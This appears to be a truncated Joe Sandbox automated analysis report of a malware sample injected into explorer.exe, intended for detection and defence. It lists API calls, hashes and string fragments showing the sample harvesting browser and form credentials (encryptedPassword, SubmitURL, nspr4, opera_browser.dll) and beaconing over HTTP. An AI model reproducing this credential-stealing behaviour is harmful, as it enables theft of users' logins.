Associated: 00000007.00000002.420725396.0000000000810000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000814000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000817000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000820000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.420725396.0000000000880000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_710000_oktuxvhtsq.jbxd

Similarity

API ID: __cftof_wcstoul
String ID: CLIENT(ntdll): Tyring to fix protection for %ws section in %wZ module to 0x%X$]x
API String ID: 1831096779-1492471241
Opcode ID: ed90c1bd5624fdd1ee8aad0d7513934891cea9aa4e2d05dfc58d92c89a28b082
Instruction ID: 8c3ae768993fb968cd615eb077720415bb297a59bf99a083496460f99a0ec5ba
Opcode Fuzzy Hash: ed90c1bd5624fdd1ee8aad0d7513934891cea9aa4e2d05dfc58d92c89a28b082
Instruction Fuzzy Hash: E4F0F637140208BADB142A55DC07E9B77ACDFD5B20F008219FA059A092EAB9EA0087A1

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: explorer.exePID: 1244, Parent PID: 1516COMMON

Execution Graph

Execution Coverage:	2.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	457
Total number of Limit Nodes:	18

Executed Functions

Function 0807F232 Relevance: 4.1, APIs: 1, Strings: 1, Instructions: 642
filenativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtCreateFile.NTDLL ref: 0807F449

Strings

`, xrefs: 0807F41D

Memory Dump Source

Source File: 00000008.00000002.850934838.0000000008010000.00000040.80000000.00040000.00000000.sdmp, Offset: 08010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8010000_explorer.jbxd

Similarity

API ID: CreateFile
String ID: `
API String ID: 823142352-2679148245
Opcode ID: de128a41b66c8ec8222e6cdebfc92e8119e2b93de7d93fbb6a18759800a4d987
Instruction ID: d8718386cc2b237ee352ae4d2ac08a5b680d8797b8c4dfb83e7b3cd258aa31e6
Opcode Fuzzy Hash: de128a41b66c8ec8222e6cdebfc92e8119e2b93de7d93fbb6a18759800a4d987
Instruction Fuzzy Hash: C6223C70A18A0A9FCB99EF28C4956AEF7E2FB58301F50462ED45ED7250DF30E452CB85

Uniqueness

Uniqueness Score: -1.00%

Function 08080E12 Relevance: 1.6, APIs: 1, Instructions: 59
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtProtectVirtualMemory.NTDLL ref: 08080E67

Memory Dump Source

Source File: 00000008.00000002.850934838.0000000008010000.00000040.80000000.00040000.00000000.sdmp, Offset: 08010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8010000_explorer.jbxd

Similarity

API ID: MemoryProtectVirtual
String ID:
API String ID: 2706961497-0
Opcode ID: 8fde5b3aa229c20c01e10f6c0a0911328a1d50ad6ca7dd15efa95d0be41baddf
Instruction ID: 00e57465d816df9541aeee42de8662c2b46ddd71b9acb63e7008863a7cd3c18f
Opcode Fuzzy Hash: 8fde5b3aa229c20c01e10f6c0a0911328a1d50ad6ca7dd15efa95d0be41baddf
Instruction Fuzzy Hash: ED01B534668B484F8784EF6CD480166B7E4FBDD315F000B3EE59AC3250DB70C5414742

Uniqueness

Uniqueness Score: -1.00%

Function 08080E0A Relevance: 1.6, APIs: 1, Instructions: 52
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtProtectVirtualMemory.NTDLL ref: 08080E67

Memory Dump Source

Source File: 00000008.00000002.850934838.0000000008010000.00000040.80000000.00040000.00000000.sdmp, Offset: 08010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8010000_explorer.jbxd

Similarity

API ID: MemoryProtectVirtual
String ID:
API String ID: 2706961497-0
Opcode ID: d782dca5996f3574fd0c4455d89641a9bf745bba617b6185d934ac73d2235392
Instruction ID: 3965299f0f098fb8699ec52b8f35112692eae78049723e5f24bc9b622907b851
Opcode Fuzzy Hash: d782dca5996f3574fd0c4455d89641a9bf745bba617b6185d934ac73d2235392
Instruction Fuzzy Hash: E101A234628B884B8B48EB2C94412A6B3E5FBCE315F000B3EE9DAC3240DB31D5024782

Uniqueness

Uniqueness Score: -1.00%

Function 0807FF82 Relevance: 23.6, APIs: 3, Strings: 10, Instructions: 815
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

getaddrinfo.WS2_32 ref: 0808012E
setsockopt.WS2_32 ref: 08080830
recv.WS2_32 ref: 08080859

Strings

ose, xrefs: 0808033F
GET , xrefs: 08080318
&sql, xrefs: 08080471
nnec, xrefs: 0808032A
tion, xrefs: 08080331
&br=, xrefs: 08080509
Co, xrefs: 08080323
: cl, xrefs: 08080338
dat=, xrefs: 08080290
&un=, xrefs: 080804F1

Memory Dump Source

Source File: 00000008.00000002.850934838.0000000008010000.00000040.80000000.00040000.00000000.sdmp, Offset: 08010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8010000_explorer.jbxd

Similarity

API ID: getaddrinforecvsetsockopt
String ID: Co$&br=$&sql$&un=$: cl$GET $dat=$nnec$ose$tion
API String ID: 1564272048-1117930895
Opcode ID: 5de8858bceb6b52e8c11e308410fa1d1098ae4878da76a5e8b5a3db0c78a0a43
Instruction ID: c898b972d41b24fa834168add50398d6d88f62c2189c652ba7c19b29c5fb4704
Opcode Fuzzy Hash: 5de8858bceb6b52e8c11e308410fa1d1098ae4878da76a5e8b5a3db0c78a0a43
Instruction Fuzzy Hash: 5F526D34614A08CBDB69EF68C4947E9B7E2FF54301F50462EC49FC7246EE70A58ACB85

Uniqueness

Uniqueness Score: -1.00%

Function 0807A8C2 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 100
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ObtainUserAgentString.URLMON ref: 0807A9A0

Strings

on.d, xrefs: 0807A902
User-Agent: , xrefs: 0807A935, 0807A948
urlmon.dll, xrefs: 0807A959
nt: , xrefs: 0807A91E

Memory Dump Source

Source File: 00000008.00000002.850934838.0000000008010000.00000040.80000000.00040000.00000000.sdmp, Offset: 08010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8010000_explorer.jbxd

Similarity

API ID: AgentObtainStringUser
String ID: User-Agent: $nt: $on.d$urlmon.dll
API String ID: 2681117516-319646191
Opcode ID: fab8d4f3d63e7cb3a61fc22749300fb1f1c56e9464b264e147718cbb7a7b3fb5
Instruction ID: bc1c66dcb1ffab46af982a267f5ed1232edcf388f97b4c1756d2a74d363d1396
Opcode Fuzzy Hash: fab8d4f3d63e7cb3a61fc22749300fb1f1c56e9464b264e147718cbb7a7b3fb5
Instruction Fuzzy Hash: BA31B171A14A5C8BCB44EFA8C8847EEB7E2FF58216F40422AD45ED7340DE748645CB99

Uniqueness

Uniqueness Score: -1.00%

Function 0807A8BE Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 94
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ObtainUserAgentString.URLMON ref: 0807A9A0

Strings

on.d, xrefs: 0807A902
User-Agent: , xrefs: 0807A935, 0807A948
urlmon.dll, xrefs: 0807A959
nt: , xrefs: 0807A91E

Memory Dump Source

Source File: 00000008.00000002.850934838.0000000008010000.00000040.80000000.00040000.00000000.sdmp, Offset: 08010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8010000_explorer.jbxd

Similarity

API ID: AgentObtainStringUser
String ID: User-Agent: $nt: $on.d$urlmon.dll
API String ID: 2681117516-319646191
Opcode ID: 89ed80dc1d123a3fdb33b1283e784163d7980008e053a39b7e2b7c015d122c3c
Instruction ID: 595aa93a0706b12d20e03a1cddd51798cad3b96d7a695067b485849896a65783
Opcode Fuzzy Hash: 89ed80dc1d123a3fdb33b1283e784163d7980008e053a39b7e2b7c015d122c3c
Instruction Fuzzy Hash: 7C21D270A10A5D8BCB44FFA8C8847EEBBE2FF58206F40422AD45AD7340DF748645CB99

Uniqueness

Uniqueness Score: -1.00%

Function 08076B66 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 148
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateMutexW.KERNEL32 ref: 08076CCA

Strings

kern, xrefs: 08076B99
.dll, xrefs: 08076BCD
el32, xrefs: 08076BA0

Memory Dump Source

Source File: 00000008.00000002.850934838.0000000008010000.00000040.80000000.00040000.00000000.sdmp, Offset: 08010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8010000_explorer.jbxd

Similarity

API ID: CreateMutex
String ID: .dll$el32$kern
API String ID: 1964310414-1222553051
Opcode ID: 440592a6460f4a8a809c4e0f2019460d4d12f006c7151b444d4376acf3ab05fa
Instruction ID: a833c464ef8e2f506d5904e57bfcbbde1d723264f1448774614c91cb1bd5a37c
Opcode Fuzzy Hash: 440592a6460f4a8a809c4e0f2019460d4d12f006c7151b444d4376acf3ab05fa
Instruction Fuzzy Hash: 8E414974918A0CCFDB94EFA8C8946E977E1FF68301F04427AC84EDB255DA309946CB85

Uniqueness

Uniqueness Score: -1.00%

Function 08076B72 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 138
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateMutexW.KERNEL32 ref: 08076CCA

Strings

kern, xrefs: 08076B99
.dll, xrefs: 08076BCD
el32, xrefs: 08076BA0

Memory Dump Source

Source File: 00000008.00000002.850934838.0000000008010000.00000040.80000000.00040000.00000000.sdmp, Offset: 08010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8010000_explorer.jbxd

Similarity

API ID: CreateMutex
String ID: .dll$el32$kern
API String ID: 1964310414-1222553051
Opcode ID: d29081eafe973aeb990ac80f5dcafeb95ade16b14a0ff6f6c0f9231c9beedf12
Instruction ID: b072340120553c762446239dddcf56900df20a6e12c1a6f08eb519d81faf74b8
Opcode Fuzzy Hash: d29081eafe973aeb990ac80f5dcafeb95ade16b14a0ff6f6c0f9231c9beedf12
Instruction Fuzzy Hash: EF412674918A0C8FDB84EFA8C899BED77E1FF68301F04417AC84EDB255DA309946CB85

Uniqueness

Uniqueness Score: -1.00%

Function 0807C72E Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 52
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

connect.WS2_32 ref: 0807C791

Strings

conn, xrefs: 0807C75A
ect, xrefs: 0807C761

Memory Dump Source

Source File: 00000008.00000002.850934838.0000000008010000.00000040.80000000.00040000.00000000.sdmp, Offset: 08010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8010000_explorer.jbxd

Similarity

API ID: connect
String ID: conn$ect
API String ID: 1959786783-716201944
Opcode ID: d2c20d592f91275318b70c66aa45ff63ae11574d98dcf1710f59c05c574d9bfb
Instruction ID: 533f42c3dbbf9ef8caba28e176f065ace1e38b0d790cf8162beec1c7423af9ac
Opcode Fuzzy Hash: d2c20d592f91275318b70c66aa45ff63ae11574d98dcf1710f59c05c574d9bfb
Instruction Fuzzy Hash: 5A014C30618B188FCB84EF1CE088B55B7E0EB58315F1545AE990DCB226CA74C8818BC2

Uniqueness

Uniqueness Score: -1.00%

Function 0807C732 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 51
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

connect.WS2_32 ref: 0807C791

Strings

conn, xrefs: 0807C75A
ect, xrefs: 0807C761

Memory Dump Source

Source File: 00000008.00000002.850934838.0000000008010000.00000040.80000000.00040000.00000000.sdmp, Offset: 08010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8010000_explorer.jbxd

Similarity

API ID: connect
String ID: conn$ect
API String ID: 1959786783-716201944
Opcode ID: 640b8c0ab7b1bb3acdb51d34daf9cec4a3878eee67c7b90e610521ed962b484b
Instruction ID: 13cd4e165c70899260ba7f03f282469d27de011a797fff4ae4e7cf7c8b958bc5
Opcode Fuzzy Hash: 640b8c0ab7b1bb3acdb51d34daf9cec4a3878eee67c7b90e610521ed962b484b
Instruction Fuzzy Hash: FD012C70618A1C8FCB84EF5CE088B55B7E0FB59315F1541AEA90DCB226CB74C9818BC2

Uniqueness

Uniqueness Score: -1.00%

Function 0807C62C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 44
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WSAStartup.WS2_32 ref: 0807C691

Strings

tart, xrefs: 0807C65A
WSAS, xrefs: 0807C653

Memory Dump Source

Source File: 00000008.00000002.850934838.0000000008010000.00000040.80000000.00040000.00000000.sdmp, Offset: 08010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8010000_explorer.jbxd

Similarity

API ID: Startup
String ID: WSAS$tart
API String ID: 724789610-2426239465
Opcode ID: eb8e01195b1b45a2b093131951349e4bfa8de15468bd518a6435d0ff3ce2d302
Instruction ID: 1c0f6886f1e1038b7396c2f511fdfa511a8f04994c0d52485c53ea85385a1617
Opcode Fuzzy Hash: eb8e01195b1b45a2b093131951349e4bfa8de15468bd518a6435d0ff3ce2d302
Instruction Fuzzy Hash: 1D018B70919A188FCB44DF1CD488B69BBE0FB58312F2502ADD409CB266C7B0C9428B9A

Uniqueness

Uniqueness Score: -1.00%

Function 0807C632 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 43
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WSAStartup.WS2_32 ref: 0807C691

Strings

tart, xrefs: 0807C65A
WSAS, xrefs: 0807C653

Memory Dump Source

Source File: 00000008.00000002.850934838.0000000008010000.00000040.80000000.00040000.00000000.sdmp, Offset: 08010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8010000_explorer.jbxd

Similarity

API ID: Startup
String ID: WSAS$tart
API String ID: 724789610-2426239465
Opcode ID: 8ca80b95c4f802a72df079fcfff649d32c96cc10ab9ce8db75eb9f3d41236f43
Instruction ID: 5f7625bd83424666c5aec5fb94b4744d2ea96438cf31675f465b30b30cdfc6f2
Opcode Fuzzy Hash: 8ca80b95c4f802a72df079fcfff649d32c96cc10ab9ce8db75eb9f3d41236f43
Instruction Fuzzy Hash: C9014B70519A188FCB84DF1C9088B69BBE0FB58351F2541A9E40DCB266C7B0C9428B9A

Uniqueness

Uniqueness Score: -1.00%

Function 0807C6B2 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 53
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

send.WS2_32 ref: 0807C713

Strings

send, xrefs: 0807C6DA

Memory Dump Source

Source File: 00000008.00000002.850934838.0000000008010000.00000040.80000000.00040000.00000000.sdmp, Offset: 08010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8010000_explorer.jbxd

Similarity

API ID: send
String ID: send
API String ID: 2809346765-2809346765
Opcode ID: bba6785c5ab04fc1c912927f20b2eaf94db183ef6292e2548e0bd7e75e2cf9a2
Instruction ID: 9ef04705605b14c735fc0d82cc6e21fd00f3e0b47a77ddd2250be2e0b70dbbef
Opcode Fuzzy Hash: bba6785c5ab04fc1c912927f20b2eaf94db183ef6292e2548e0bd7e75e2cf9a2
Instruction Fuzzy Hash: F1011270618A1C8FDBC4EF1CD048B6577E1EB58315F1545AED85DCB266CA70D881CB85

Uniqueness

Uniqueness Score: -1.00%

Function 0807C5B2 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 49
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

socket.WS2_32 ref: 0807C611

Strings

sock, xrefs: 0807C5D9

Memory Dump Source

Source File: 00000008.00000002.850934838.0000000008010000.00000040.80000000.00040000.00000000.sdmp, Offset: 08010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8010000_explorer.jbxd

Similarity

API ID: socket
String ID: sock
API String ID: 98920635-2415254727
Opcode ID: 205056058728d72a76f2a9c444eb1655fc63b7523a02cb36171bec795444162f
Instruction ID: c63f6deec46a3d996e6a51eb5becea3863cdc18775ee45ecd18b133e1c239be3
Opcode Fuzzy Hash: 205056058728d72a76f2a9c444eb1655fc63b7523a02cb36171bec795444162f
Instruction Fuzzy Hash: 0C01217061861C8FCB84EF1CD048B55BBE0FB59315F1545ADD45EDB266C7B0C9818B86

Uniqueness

Uniqueness Score: -1.00%

Function 080742DD Relevance: 1.6, APIs: 1, Instructions: 91
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SleepEx.KERNEL32 ref: 0807432D

Memory Dump Source

Source File: 00000008.00000002.850934838.0000000008010000.00000040.80000000.00040000.00000000.sdmp, Offset: 08010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8010000_explorer.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 2c485226c71f8ce073f7c86c27236fb263c26e76649b5794a31fce9b42c1bba6
Instruction ID: b905baf10f82230c4c2cd3705eacdc3d25b2e154953d76354d41c15a8cd070f8
Opcode Fuzzy Hash: 2c485226c71f8ce073f7c86c27236fb263c26e76649b5794a31fce9b42c1bba6
Instruction Fuzzy Hash: 42316CB4A04F49DADBA4AF6980892E5B7E2FB54302F44427EC92DCA206CB709055CFD9

Uniqueness

Uniqueness Score: -1.00%

Function 08074412 Relevance: 1.5, APIs: 1, Instructions: 46threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32 ref: 08074461

Memory Dump Source

Source File: 00000008.00000002.850934838.0000000008010000.00000040.80000000.00040000.00000000.sdmp, Offset: 08010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8010000_explorer.jbxd

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: 86dfbf082f461ee8d50c48ad175151c38d579804c722c71aa6313b9ca1572f48
Instruction ID: 62efb0d7d3a929587e9557f37e8b3a96a30e2a48d18c46eeb0a9c29d3f836ffe
Opcode Fuzzy Hash: 86dfbf082f461ee8d50c48ad175151c38d579804c722c71aa6313b9ca1572f48
Instruction Fuzzy Hash: BBF0C234668A4D4FD788EF2CD44567AB3D0EBA8215F44063EA58DC3264DA29C582871A

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 07D7DD02 Relevance: 14.2, Strings: 11, Instructions: 404COMMON

Download Yara Rule

Strings

net., xrefs: 07D7DF44
.dll, xrefs: 07D7DF2F
S, xrefs: 07D7E073
32.d, xrefs: 07D7DF0B
kern, xrefs: 07D7DF5A
user, xrefs: 07D7DF03
M, xrefs: 07D7E082
el32, xrefs: 07D7DF27
ll, xrefs: 07D7DF13
wini, xrefs: 07D7DF72
dll, xrefs: 07D7DF4C

Memory Dump Source

Source File: 00000008.00000002.850888480.0000000007D00000.00000040.00000001.00040000.00000000.sdmp, Offset: 07D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7d00000_explorer.jbxd

Similarity

API ID:
String ID: .dll$32.d$M$S$dll$el32$kern$ll$net.$user$wini
API String ID: 0-393284711
Opcode ID: 666e7131670ab6034242d7bb31114c5afc39a2cef586e73e73495a4832ac64d3
Instruction ID: 0f98a12bb944830b15d74d2d53755b39721b573670788e77127043092c8be377
Opcode Fuzzy Hash: 666e7131670ab6034242d7bb31114c5afc39a2cef586e73e73495a4832ac64d3
Instruction Fuzzy Hash: 67E15BB0518F488FC7A4EF68C484BAAF7E0FB58300F504A6E959BC7251EF30A541CB96

Uniqueness

Uniqueness Score: -1.00%

Function 07D80792 Relevance: 21.6, Strings: 17, Instructions: 321COMMON

Download Yara Rule

Strings

Subm, xrefs: 07D80855
form, xrefs: 07D8084D
swor, xrefs: 07D808EA
ypte, xrefs: 07D808A5
rnam, xrefs: 07D808B5
e, xrefs: 07D808BD
d, xrefs: 07D808F2
itUR, xrefs: 07D8085D
name, xrefs: 07D8087D
guid, xrefs: 07D807CE
ypte, xrefs: 07D808DA
encr, xrefs: 07D8089D
dPas, xrefs: 07D808E2
encr, xrefs: 07D808D2
dUse, xrefs: 07D808AD
user, xrefs: 07D80876
Fiel, xrefs: 07D80884

Memory Dump Source

Source File: 00000008.00000002.850888480.0000000007D00000.00000040.00000001.00040000.00000000.sdmp, Offset: 07D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7d00000_explorer.jbxd

Similarity

API ID:
String ID: Fiel$Subm$d$dPas$dUse$e$encr$encr$form$guid$itUR$name$rnam$swor$user$ypte$ypte
API String ID: 0-2916316912
Opcode ID: 1a4675aa69093f914decc08927043d33ef050167d1a45f8fb32d144d534e0ced
Instruction ID: 20766bd4207fe10fdbf5b7779c63dc9a87c84ba24a4c13191ce4ceeb5ca265e5
Opcode Fuzzy Hash: 1a4675aa69093f914decc08927043d33ef050167d1a45f8fb32d144d534e0ced
Instruction Fuzzy Hash: EDB17970528B48CEDB95EF68C485AEEB7F1FF98300F50451ED49AC7251EF70A4098B96

Uniqueness

Uniqueness Score: -1.00%

Function 07D7E622 Relevance: 21.4, Strings: 17, Instructions: 151COMMON

Download Yara Rule

Strings

u, xrefs: 07D7E661
l, xrefs: 07D7E6AC
p, xrefs: 07D7E690
c, xrefs: 07D7E697
2, xrefs: 07D7E674
l, xrefs: 07D7E6D6
d, xrefs: 07D7E6A5
d, xrefs: 07D7E67B
n, xrefs: 07D7E6BA
i, xrefs: 07D7E69E
w, xrefs: 07D7E6B3
e, xrefs: 07D7E66D
s, xrefs: 07D7E689
d, xrefs: 07D7E6CF
n, xrefs: 07D7E6C1
l, xrefs: 07D7E682
t, xrefs: 07D7E6C8

Memory Dump Source

Source File: 00000008.00000002.850888480.0000000007D00000.00000040.00000001.00040000.00000000.sdmp, Offset: 07D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7d00000_explorer.jbxd

Similarity

API ID:
String ID: 2$c$d$d$d$e$i$l$l$l$n$n$p$s$t$u$w
API String ID: 0-1539916866
Opcode ID: e72b72cb0cc01a4fb435a8ab5948bc97e669459bbd1002971cdc116c820d8f81
Instruction ID: 6f2b31c81e86b2875aee41872dc7720e25df88741a14fba2ee157c8183accda9
Opcode Fuzzy Hash: e72b72cb0cc01a4fb435a8ab5948bc97e669459bbd1002971cdc116c820d8f81
Instruction Fuzzy Hash: A141B0B0A18B08CFDB14DF98A4467ADBBE2FB48700F00025ED449D7245EBB59D45CBD6

Uniqueness

Uniqueness Score: -1.00%

Function 07D85AB2 Relevance: 17.8, Strings: 14, Instructions: 339COMMON

Download Yara Rule

Strings

], xrefs: 07D85CA8
n, xrefs: 07D85C98
e, xrefs: 07D85CA0
c, xrefs: 07D85C0B
[, xrefs: 07D85C2D
[, xrefs: 07D85BF6
l, xrefs: 07D85C35
D, xrefs: 07D85CDA
[, xrefs: 07D85CCD
[, xrefs: 07D85C90
b, xrefs: 07D85C73
], xrefs: 07D85C3D
l, xrefs: 07D85CE2
[, xrefs: 07D85C66

Memory Dump Source

Source File: 00000008.00000002.850888480.0000000007D00000.00000040.00000001.00040000.00000000.sdmp, Offset: 07D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7d00000_explorer.jbxd

Similarity

API ID:
String ID: D$[$[$[$[$[$]$]$b$c$e$l$l$n
API String ID: 0-355182820
Opcode ID: 5b00ea5ff0ac38f91c5f3451741050e74e6bfffb06a4f81f7af14d2d93e98743
Instruction ID: c0902f4de569e5edc72e9a927d32e237016b5c339d64a37da1273715f4920332
Opcode Fuzzy Hash: 5b00ea5ff0ac38f91c5f3451741050e74e6bfffb06a4f81f7af14d2d93e98743
Instruction Fuzzy Hash: 59C159B0218B09DFC799FF68D885AAAF3E1FB94304F50462E949AC7250DF30E515CB96

Uniqueness

Uniqueness Score: -1.00%

Function 07D85F12 Relevance: 15.2, Strings: 12, Instructions: 201COMMON

Download Yara Rule

Strings

n, xrefs: 07D85F6B
0, xrefs: 07D85F5B
c, xrefs: 07D85FC8
., xrefs: 07D85F63
r, xrefs: 07D85F90
r, xrefs: 07D85FB8
r, xrefs: 07D85FB0
r, xrefs: 07D85F98
r, xrefs: 07D85FA0
r, xrefs: 07D85F88
r, xrefs: 07D85FA8
r, xrefs: 07D85FC0

Memory Dump Source

Source File: 00000008.00000002.850888480.0000000007D00000.00000040.00000001.00040000.00000000.sdmp, Offset: 07D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7d00000_explorer.jbxd

Similarity

API ID:
String ID: .$0$c$n$r$r$r$r$r$r$r$r
API String ID: 0-97273177
Opcode ID: c99d8b63ad26ee68af9772b0c2f17264c0bbc41cf5067afa0da8e01a5053a168
Instruction ID: 21663f17783d2b793963378aaa1edc45455129f0a8ca3129da747b54d0d4e31f
Opcode Fuzzy Hash: c99d8b63ad26ee68af9772b0c2f17264c0bbc41cf5067afa0da8e01a5053a168
Instruction Fuzzy Hash: 5951F3B11187488FD759EF18C8812AAF7E5FB84710F501A2EE8DBC7202DBB4D506CB82

Uniqueness

Uniqueness Score: -1.00%

Function 07D7F2F4 Relevance: 10.4, Strings: 8, Instructions: 380COMMON

Download Yara Rule

Strings

sspi, xrefs: 07D7F320
dll, xrefs: 07D7F32E
cli., xrefs: 07D7F327
nspr, xrefs: 07D7F4D4
l, xrefs: 07D7F4E2
4.dl, xrefs: 07D7F4DB
opera_browser.dll, xrefs: 07D7F629
dragon_s.dll, xrefs: 07D7F614

Memory Dump Source

Source File: 00000008.00000002.850888480.0000000007D00000.00000040.00000001.00040000.00000000.sdmp, Offset: 07D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7d00000_explorer.jbxd

Similarity

API ID:
String ID: 4.dl$cli.$dll$dragon_s.dll$l$nspr$opera_browser.dll$sspi
API String ID: 0-639201278
Opcode ID: 3bb0ec29e48dc84c2f9ecdcc79ab9852c4e3249089256f700559b0558053754d
Instruction ID: 70fa90c7127e65d2c6fc4aa9719d6978a0f6fe9f4b2b9c919203c655eb619fe6
Opcode Fuzzy Hash: 3bb0ec29e48dc84c2f9ecdcc79ab9852c4e3249089256f700559b0558053754d
Instruction Fuzzy Hash: ADC180B1618A198FC798FF68D455AAAF3E1FB94300F94436D940AC7255EF30EA02C796

Uniqueness

Uniqueness Score: -1.00%

Function 07D7F2F2 Relevance: 10.4, Strings: 8, Instructions: 380COMMON

Download Yara Rule

Strings

sspi, xrefs: 07D7F320
dll, xrefs: 07D7F32E
cli., xrefs: 07D7F327
nspr, xrefs: 07D7F4D4
l, xrefs: 07D7F4E2
4.dl, xrefs: 07D7F4DB
opera_browser.dll, xrefs: 07D7F629
dragon_s.dll, xrefs: 07D7F614

Memory Dump Source

Source File: 00000008.00000002.850888480.0000000007D00000.00000040.00000001.00040000.00000000.sdmp, Offset: 07D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7d00000_explorer.jbxd

Similarity

API ID:
String ID: 4.dl$cli.$dll$dragon_s.dll$l$nspr$opera_browser.dll$sspi
API String ID: 0-639201278
Opcode ID: f43930ec246ad51b32166c0bc4bf79f326171222225a5f9c9c86c27c8781e096
Instruction ID: e5ed4af21744f0c00bf34739be90bc1336f6545718317500861c8b4e8d6b27a1
Opcode Fuzzy Hash: f43930ec246ad51b32166c0bc4bf79f326171222225a5f9c9c86c27c8781e096
Instruction Fuzzy Hash: D4C180B0618A198FC798FF68D455AAAF3E1FB94300F94436D940EC7255EF30EA02C796

Uniqueness

Uniqueness Score: -1.00%

Function 07D80CD4 Relevance: 9.0, Strings: 7, Instructions: 299COMMON

Download Yara Rule

Strings

name, xrefs: 07D80DB2
User, xrefs: 07D80DAB
word, xrefs: 07D80D9E
UR, xrefs: 07D80D5F
L: , xrefs: 07D80D66
Pass, xrefs: 07D80D97
2, xrefs: 07D80DE1

Memory Dump Source

Source File: 00000008.00000002.850888480.0000000007D00000.00000040.00000001.00040000.00000000.sdmp, Offset: 07D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7d00000_explorer.jbxd

Similarity

API ID:
String ID: UR$2$L: $Pass$User$name$word
API String ID: 0-2058692283
Opcode ID: 192ee3367620c7562f2382bb65b9fc05a299a96abcb0fffb8f15ec5ae1331477
Instruction ID: 0f35c28eb37a73fb3c4a5aac8024fe37ea1eadeb1947a4fc946dc0f03b9ac82e
Opcode Fuzzy Hash: 192ee3367620c7562f2382bb65b9fc05a299a96abcb0fffb8f15ec5ae1331477
Instruction Fuzzy Hash: A3A190B06187488BDB59EFA8D444BEEF7E5FF84300F40462DD48AD7251EF7095498786

Uniqueness

Uniqueness Score: -1.00%

Function 07D80CE2 Relevance: 9.0, Strings: 7, Instructions: 288COMMON

Download Yara Rule

Strings

name, xrefs: 07D80DB2
User, xrefs: 07D80DAB
word, xrefs: 07D80D9E
UR, xrefs: 07D80D5F
L: , xrefs: 07D80D66
Pass, xrefs: 07D80D97
2, xrefs: 07D80DE1

Memory Dump Source

Source File: 00000008.00000002.850888480.0000000007D00000.00000040.00000001.00040000.00000000.sdmp, Offset: 07D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7d00000_explorer.jbxd

Similarity

API ID:
